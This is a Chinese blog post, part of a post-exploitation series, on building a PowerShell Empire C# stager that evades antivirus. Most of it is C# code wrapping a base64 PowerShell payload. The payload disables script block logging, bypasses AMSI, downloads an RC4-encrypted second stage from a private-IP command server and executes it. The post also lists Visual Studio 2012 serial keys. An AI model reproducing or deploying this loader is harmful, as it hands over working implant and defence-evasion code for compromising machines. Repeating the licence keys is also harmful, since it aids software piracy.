Empire 免杀过杀软

jack-yyj

于 2022-11-13 23:28:59 发布

阅读量203

点赞数

分类专栏：后渗透emp使用文章标签：安全

本文链接：https://blog.csdn.net/yyj1781572/article/details/127837877

版权

后渗透emp使用专栏收录该内容

6 篇文章 0 订阅

订阅专栏

1. cshare 文件过杀毒软件

官网下载地址：

http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso

百度网盘下载：

链接:http://pan.baidu.com/share/link?shareid=2791352524&uk=604321482
密码:6q04

Visual Studio 2012旗舰版序列号：

YKCW6-BPFPF-BT8C9-7DCTH-QXGWC
RBCXF-CVBGR-382MK-DFHJ4-C69G8

然后info查看信息

设置监听器

usestager windows/csharp_exe

在tmp目录复制项目打包文件解压到本地

用vs2012 打开cmd.sln

/*

 *

 * You may compile this in Visual Studio or SharpDevelop etc.

 *

 *

 *

 *

 */

using System;

using System.Text;

using System.Management.Automation;

using System.Management.Automation.Runspaces;



namespace cmd

{

    class Program

    {

        public static void Main(string[] args)

        {

            var a = "xxxxxxxxxxxxxxxxxxxxxxxxxx";

             string stager = "SQBGACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAEEAQgBsAEUALgBQAFMAVgBlAHIAUwBJAE8AbgAuAE0AQQBKAE8AcgAgAC0AZwBFACAAMwApAHsAJABHAFAARgA9AFsAcgBFAEYAXQAuAEEAcwBTAGUATQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAEkARQBgAGwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAEEATAB1AEUAKAAkAG4AdQBMAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBsAD0AWwBDAG8ATABsAEUAQwB0AGkATwBOAHMALgBHAEUATgBFAHIAaQBDAC4ARABJAEMAVABJAE8AbgBBAFIAWQBbAFMAdAByAGkAbgBHACwAUwBZAHMAdABlAG0ALgBPAEIAagBlAEMAdABdAF0AOgA6AE4AZQBXACgAKQA7ACQAdgBBAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAdgBhAEwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAEEAbAB9AEUAbABTAEUAewBbAFMAQwByAGkAUAB0AEIAbABvAGMAawBdAC4AIgBHAEUAdABGAGkAZQBgAEwAZAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAFQAVgBBAEwAVQBFACgAJABuAHUAbABsACwAKABOAGUAVwAtAE8AQgBKAGUAQwB0ACAAQwBPAEwAbABlAGMAdABJAG8ATgBzAC4ARwBFAE4AZQByAGkAQwAuAEgAYQBTAEgAUwBFAFQAWwBTAFQAUgBJAG4ARwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBTAEUATQBiAGwAeQAuAEcARQBUAFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBJAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAEEATAB1AEUAKAAkAE4AVQBsAGwALAAkAFQAUgBVAEUAKQB9ADsAfQA7AFsAUwB5AHMAVABFAG0ALgBOAGUAVAAuAFMARQByAHYAaQBDAEUAUABPAEkATgB0AE0AQQBuAGEAZwBFAFIAXQA6ADoARQB4AFAARQBjAHQAMQAwADAAQwBvAE4AVABJAE4AVQBFAD0AMAA7ACQAdwBDAD0ATgBFAHcALQBPAGIASgBFAEMAVAAgAFMAeQBTAFQARQBNAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBFAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgARQBBAEQAZQByAHMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAHgAWQA9AFsAUwBZAHMAVABFAG0ALgBOAGUAVAAuAFcARQBiAFIAZQBRAHUARQBTAHQAXQA6ADoARABlAEYAQQB1AEwAVABXAGUAYgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAcgBvAFgAeQAuAEMAcgBFAEQARQBuAHQASQBBAGwAUwAgAD0AIABbAFMAWQBzAHQARQBtAC4ATgBlAHQALgBDAHIARQBkAEUATgBUAGkAQQBMAEMAQQBjAGgAZQBdADoAOgBEAGUARgBBAFUAbAB0AE4ARQB0AFcAbwByAGsAQwByAEUARABlAE4AdABJAGEAbABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwBZAFMAdABlAG0ALgBUAEUAWABUAC4ARQBuAEMAbwBkAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQBUAEIAWQB0AEUAUwAoACcAOQA3AE0AWwAyAGwAQgBUAEEAQwBjACoARwB7ADgAXwBQAG4AYQBAACUANAB6AC0ASgBXAH0ANgBdAC4AIABpACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUAbgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADIANQA6ADgAOAA4ADgAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAHcAQwAuAEgARQBBAGQARQByAHMALgBBAEQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAcwBlAHMAcwBpAG8AbgA9AEUAQQBGAG0AeQBxADUAbwBpAHkAeAA3AFkANwB4AE4ATAA0AFAAUAB4AFEAawB0ACsAKwBZAD0AIgApADsAJABEAGEAVABhAD0AJABXAEMALgBEAG8AdwBuAGwAbwBhAGQARABhAFQAYQAoACQAUwBFAFIAKwAkAFQAKQA7ACQASQB2AD0AJABkAEEAVABhAFsAMAAuAC4AMwBdADsAJABkAEEAVABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAVABhAC4AbABFAE4ARwBUAGgAXQA7AC0ASgBPAGkAbgBbAEMAaABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=";

             var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager));

            var b = "aaaaaaaaaaaaaaaaaaaa";

            Runspace runspace = RunspaceFactory.CreateRunspace();

            runspace.Open();

            RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);

            Pipeline pipeline = runspace.CreatePipeline();



            pipeline.Commands.AddScript(decodedScript);



            pipeline.Commands.Add("Out-String");

            pipeline.Invoke();

        }

    }

}

点击重新生成，把windows应用程序改成控制台应用程序